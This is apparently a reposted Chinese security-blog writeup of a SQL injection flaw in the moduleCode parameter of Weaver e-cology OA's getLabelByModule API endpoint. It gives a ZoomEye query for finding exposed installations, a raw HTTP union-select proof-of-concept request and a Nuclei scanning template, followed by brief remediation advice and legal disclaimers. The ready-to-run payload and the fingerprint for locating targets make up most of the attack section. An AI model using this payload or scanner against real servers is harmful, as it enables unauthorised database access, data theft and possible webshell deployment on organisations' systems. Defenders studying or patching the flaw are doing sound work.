0x01 产品简介
泛微OA拥有自主知识产权的协同管理软件系列产品,包括大中型企业使用的平台型产品e-cology,中小型企业使用的应用型产品e-office,以及一体化的移动办公云OA平台eteams。此外,泛微OA还发布了以“移动化、社交化、平台化、云端化”四化为核心的全新一代产品系列,帮助企业更好地对接移动互联,这里我推荐利用 ZoomEye搜索引擎发现影响资产1W+。
请自行搭建环境进行漏洞测试,该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。
0x02 漏洞描述
Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
0x03 ZoomEye语法
app:"E-Weaver"
0x04 漏洞复现
POC-联合查询
GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=aaa')+union+all+select+'1,1123123'+-- HTTP/1.1
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id: weaver-getLabelByModule-SQL info: name: weaver-getLabelByModule-SQL author: HackTwo severity: high description: | 漏洞测试-SQLTest reference: - https://127.0.0.1 tags: auto http: - raw: - | GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=aaa')+union+all+select+'1,1123123'+-- HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9b Connection: close matchers-condition: and matchers: - type: dsl dsl: - status_code==200 && contains(body_1,'1123123')
0x05 修复建议
1.使用预编译语句。
2.对进入数据库的特殊字符进行转义处理,或编码转换。
3.确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
0x06
原文始发于微信公众号(渗透安全HackTwo):泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论